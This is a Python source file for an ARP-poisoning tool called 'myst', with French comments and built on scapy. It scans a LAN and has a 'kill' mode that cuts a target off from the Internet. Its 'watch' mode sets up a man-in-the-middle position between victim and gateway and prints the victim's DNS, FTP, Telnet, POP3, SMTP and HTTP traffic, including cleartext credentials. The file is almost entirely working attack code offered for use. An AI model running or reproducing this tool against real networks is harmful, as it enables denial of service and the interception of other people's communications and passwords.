#!/usr/bin/env python
# -*- coding: UTF8 -*-

# Licence : WTFPL Licence (Do what you want) See : http://en.wikipedia.org/wiki/WTFPL

########################
# Sources 
########################

# scapy   http://www.secdev.org/projects/scapy/
# sslstip http://www.thoughtcrime.org/software/sslstrip/
# RFC 826 https://tools.ietf.org/html/rfc826
#
# http://libpfb.so/uploads/media/Cours_scapy.pdf  <-- EXCELENT 
# https://theitgeekchronicles.files.wordpress.com/2012/05/scapyguide1.pdf
# http://danmcinerney.org/reliable-dns-spoofing-with-python-scapy-nfqueue/  <--- IMPORTANT
# http://webstersprodigy.net/2012/07/06/some-practical-arp-poison-attacks-with-scapy-iptables-and-burp/
# http://www.networksorcery.com/enp/protocol/arp.htm  
# http://cruft.blogspot.fr/2009/01/arp-ping-using-scapy.html
# http://www.secdev.org/projects/scapy/build_your_own_tools.html
# http://thepacketgeek.com/scapy-p-10-emulating-nmap-functions/
# http://stackoverflow.com/questions/2761829/python-get-default-gateway-for-a-local-interface-ip-address-in-linux
# http://www.arppoisoning.com/demonstrating-an-arp-poisoning-attack/

###########################
# Rappels des principaux flags TCP (qui apparaissent dans le summary des paquets)
###########################

# URG : Signale la présence de données urgentes
# ACK : signale que le paquet est un accusé de réception (acknowledgement)
# PSH : données à envoyer tout de suite (push)
# RST : rupture anormale de la connexion (reset)
# SYN : demande de synchronisation (SYN) ou établissement de connexion
# FIN : demande la FIN de la connexion


#########################
# Pre Requis
#########################

# tcpdump
# python-scapy
# tcpflow
# gupnp-tools

#########################
# Procedures et fonctions
#########################

import sys, getopt, os, logging, time, threading, signal, re
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
#from scapy.utils import PcapWriter
conf.verb=0

capfile  = "./myst_tmp.pcap"
scanfile = "./myst_tmp.txt"
version="0.2"

# --------------------

def usage():
    print ("\nmyst " + version)
    print ("Usage: Choose one of the three folowing modes :\n")
    print ("myst -s                SCAN network")
    print ("myst -k target_IP      KILL Internet access for target")
    print ("myst -w target_IP      WATCH activity of target")
    print (" ")
    print ("Options:\n")
    print ("-i , --int             Interface (default eth0)")
    print ("-d , --decode          store and decode http (watch mode only)")
    print ("-a , --answers         also print answers from servers (watch mode only)")     
    print ("-h , --help            Print this help message.\n")

# --------------------

def parseOptions(argv):

   # Valeurs par defaut
   interface = "none" 
   target = "0.0.0.0"
   mode = "none"
   decode = "no"
   answers = "no"

   isip = re.compile("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$") # Regexp pour verifier si cela ressemble a une IP.

   try:
      # Note pour la syntaxe, un ':' après la lettre signifie que l'option attend un argument                                
      opts, args = getopt.getopt(argv, "hi:k:sw:da",["help","int=","kill=","scan","watch=","decode","answers"])

      for opt, arg in opts:
         if opt in ("-h", "--help"):
            usage()
            sys.exit()
         elif opt in ("-i", "--int"):
            interface = arg
         elif opt in ("-k", "--kill"):
            if isip.match(arg):
               mode = "kill"
               target = arg
            else:
               print (arg + " does not look's like an IP address...")
               sys.exit(1)
         elif opt in ("-s", "--scan"):
            mode = "scan"
         elif opt in ("-w", "--watch"):
            if isip.match(arg):
               mode = "watch"
               target = arg
            else:
               print (arg + " does not look's like an IP address...")
               sys.exit(1)
         elif opt in ("-d", "--decode"):
            decode = "yes"
         elif opt in ("-a", "--answers"):
            answers = "yes"

      return (interface,mode,target,decode,answers)
                    
   except getopt.GetoptError:           
      usage()                          
      sys.exit(2)       

# --------------------

def guess_interface():
   return os.popen("/sbin/route -n | grep ^0.0.0.0 | awk '{print $8}'", "r").read().strip()

# --------------------

def get_default_gateway():
   return os.popen("/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'", "r").read().strip()

# ---------------------

def get_ip_and_mask(interface):
   return os.popen("/sbin/ip a s | grep inet | grep " + interface +" | awk '{print $2}'", "r").read().strip()
    
# --------------------

def disable_routing():
   file = open("/proc/sys/net/ipv4/ip_forward", "w")
   file.write("0\n")
   file.close()

# --------------------

def enable_routing():
   file = open("/proc/sys/net/ipv4/ip_forward", "w")
   file.write("1\n")
   file.close()

# --------------------     

def poison(own_mac,target_mac,target_ip,gateway_ip,mode):  # mode : request ou reply

   myarp = Ether()/ARP()

   if ( mode == 2 ):
      
      # Creation et envoi d'un paquet ARP (reply)      

      myarp.dst = target_mac	# On envoi une réponse arp à la victime (target mac)
      myarp.src = own_mac	# Le paquet vient de la la MAC Addresse de l'attaquant
      myarp.op = 2		# Ce paquet est une réponse ARP
      myarp.hwsrc = own_mac	# qui indique que la MAC addresse de l'attaquant
      myarp.psrc = gateway_ip	# correspond à l'ip du routeur

   elif ( mode == 1 ):

      # Lors d'une demande (op=1), l'ordinateur qui reçoit le paquet en
      # proffite aussi pour mettre sa propre table un jour. 

      myarp.dst = target_mac    # Adresse MAC de la victime (Mais une véritable demande serait envoyée en broadwast)
      myarp.src = own_mac       # Adresse MAC de l'attaquant qui se fait passer pour le routeur
      myarp.op = 1		# Il s'agit d'une demande
      myarp.psrc = gateway_ip   # IP du routeur (que la victime va associer à notre MAC adresse)
      myarp.hwdst = '00:00:00:00:00:00'  # On n'est pas censé connaitre la MAC de la victime, c'est ce qu'on demande !
      myarp.pdst = target_ip    # IP de la victime (dont on prétend chercher la MAC adresse)

   while (1):
      #print (myarp.show())
      sendp (myarp)
      time.sleep (1)

# ---------------------

def unpoison():

      # Remise en etat de la table arp de la victime
      myarp = Ether(src=gateway_mac)/ARP(op=1, psrc=gateway_ip, pdst=target_ip, hwsrc=gateway_mac )
      sendp (myarp,count=3)

      # Remise en etat de la table arp de la gateway
      myarp = Ether(src=target_mac)/ARP(op=1, psrc=target_ip, pdst=gateway_ip, hwsrc=target_mac )
      sendp (myarp,count=3)

# ---------------------

def signal_handler(signal, frame):
   
   if ( mode == "scan" ):
      os._exit(0) # Methode crade qui quitte immediatement

   elif ( mode == "kill" ):
      poison_victim._Thread__stop()
      unpoison()
      disable_routing()
      print ("\nEnd of the attack, cleaning done") 
      sys.exit(0) # Methode qui fait le ménage (threads, cnx reseaux...)

   elif ( mode == "watch" ):
      
      poison_victim._Thread__stop()
      poison_gateway._Thread__stop()
      unpoison()
      # decodage des paquets captures
      if ( decode == "yes" ):
         myfile.close()
         print ("\n*****************************************************")
         print (" HTTP dialogs")
         print ("*****************************************************")
         infos_file = os.stat(capfile)
         if ( infos_file.st_size > 0 ):     # Si le fichier n'est pas vide
            print(os.popen("tcpflow -c -r " + capfile + " | more","r").read())
         else:
            print (" No http dialogs found ! \n")
         os.remove(capfile)
      disable_routing()
      print ("\nEnd of the attack, cleaning done") 
      sys.exit(0)

# ---------------------

def pcap (packet):

   if (packet[Ether].dst == own_mac):       # Inutile d'afficher le même paquet deux fois (routage...)

      if packet.haslayer(DNSQR):            # Requetes DNS
         print (packet.summary())

      if packet.haslayer(TCP):              # Pour les paquets TCP

         if (packet[TCP].dport == 110 ):    # Protocole pop3
            print (packet.summary())
            print (packet[TCP].payload)

         if (packet[TCP].dport == 80 ):     # Protocole http
            print (packet.summary())
            if ( decode == "yes" ):
               myfile.write(packet)   
         
         # Ok, La suite est ridicule d'un point de vue programmation, mais cela permetra de
         # différencier eventuellement les traitements par la suite

         if (packet[TCP].dport == 21 ):     # Protocole ftp
            print (packet[TCP].payload)     # Les données passent sur le 20, on ne risque pas de flooder la console  

         if (packet[TCP].dport == 23 ):     # Protocole telnet
            print (packet[TCP].payload)

         if (packet[TCP].dport == 25 ):     # Protocole smtp
            print (packet[TCP].payload)

         if (packet[IP].dst == target_ip):  # Paquet "reponse" (serveur X -> cible)
            if (answers == "yes"): 
               print (packet[TCP].payload)
    

######################
# Tests au lancement
######################

if ( os.getuid() != 0 ):
   print ("You need root privileges to use this tool.")
   print ("Exiting")
   sys.exit(1)

if ( len(sys.argv) < 2):
   print ("Too few arguments !")
   print ("Try using myst -h for help")
   sys.exit(1)                        

#######################
# Récupération des parametres
#######################

(interface,mode,target_ip,decode,answers) = parseOptions(sys.argv[1:])

print ("Guessing values...")

target_mac = getmacbyip(target_ip)
if ( interface == "none" ):
   interface = guess_interface()
print ("interface  : ") + interface   
own_mac = get_if_hwaddr(interface)
gateway_ip = get_default_gateway() 
gateway_mac = getmacbyip(gateway_ip)
mask = get_ip_and_mask(interface)
own_ip = mask.split('/',1)[0]

print ("IP/netmask : ") + mask
print ("gateway    : ") + gateway_ip

# Ce programme doit s'arreter proprement sur un control-c
signal.signal(signal.SIGINT, signal_handler)

if ( mode == "none" ):
   print ("Okay but... What do you want to do ?")
   print ("Try using myst -h for help")
   sys.exit(1)

if ( mode == "kill" ):
   print ("Initializing the attack...")
   disable_routing()
   poison_victim = threading.Thread(None, poison, None, (own_mac,target_mac,target_ip,gateway_ip,2)) 
   poison_victim.start()
   # NB : Dans ce cas, on peut laisser la table arp de la gateway tranquille...
   print ("Target " + target_ip + " have no more access to the net")
   print ("Press CTRL-C to stop the attack") 
   while (1):       
      time.sleep(1)     # on ne fait rien d'autre que d'attendre le CtrlC, pendant que le thread attaque.

if ( mode == "scan" ):
   print ("Scan will take less than 10 seconds. Please be patient.")
   os.system("gssdp-discover -i " + interface + " --timeout 4 | grep 'Location:' | cut -d ':' -f 2- | sort -u > " + scanfile)
   rep,sans_rep=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=mask),timeout=3)
   print (str(len(rep)) + " hosts founds :")
   for send,rcv in rep:
      url = "?"
      for line in open(scanfile):
         if rcv.psrc + ':' in line:
            url = line
            break
      print (rcv.psrc + "\t" + url.strip())
   os.remove(scanfile)
   sys.exit(0)

if ( mode == "watch" ):

   # Filtre principale de capture (on ne s'interesse qu'a ce qui concerne la cible)
   myfilter="host " + target_ip
   print ("\nInitializing the attack...")
   print ("(Listening for DNS, POP3, SMTP, TELNET, FTP and HTTP trafic)")
   enable_routing()
   poison_victim = threading.Thread(None, poison, None, (own_mac,target_mac,target_ip,gateway_ip,2)) 
   poison_victim.start()
   poison_gateway = threading.Thread(None, poison, None, (own_mac,gateway_mac,gateway_ip,target_ip,2)) 
   poison_gateway.start()
   print ("Watching target ") + target_ip
   if ( decode == "yes" ):
      # On s'assure que le fichier de capture http soit vide
      myfile = open(capfile, "w")
      myfile.close
      myfile = PcapWriter(capfile, append=True, sync=False) # sync : Ecriture asyncrhone (utilisation d'un buffer)
      print ("Please note that the detail of http traffic will only appear AT THE END of the capture")
      print ("(need decoding / ungzip / follow stream using tcpflow)")
   print ("Press CTRL-C to stop the attack")
   sniff(filter=myfilter, iface=interface, store=0, prn=pcap)
